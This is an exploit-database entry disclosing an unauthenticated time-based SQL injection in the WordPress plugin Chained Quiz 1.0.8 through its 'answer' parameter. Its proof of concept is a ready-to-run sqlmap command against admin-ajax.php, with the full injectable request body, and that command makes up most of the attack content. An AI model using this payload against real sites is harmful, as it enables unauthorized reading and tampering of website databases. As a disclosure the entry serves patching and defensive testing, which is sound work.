Exploits / Vulnerability Discovered : 2018-08-20 |
Type : webapps |
Platform : php
This exploit / vulnerability Wordpress plugin chained quiz 1.0.8 answer sql injection is for educational purposes only and if it is used you will do on your own risk!
# Vulnerability Description:
# WordPress Plugin Plugin Chained Quiz before 1.0.9 allows remote unauthenticated
# users to execute arbitrary SQL commands via the 'answer' and 'answers' parameters.
# Technical details:
# Chained Quiz appears to be vulnerable to time-based SQL-Injection.
# The issue lies on the $answer backend variable.
# Privileges required: None
# Proof of Concept (PoC):
sqlmap -u "http://target/wp-admin/admin-ajax.php" --data="answer=1*&question_id=1&quiz_id=1&post_id=1&question_type=radio&points=0&action=chainedquiz_ajax&chainedquiz_action=answer&total_questions=1" --dbms=MySQL --technique T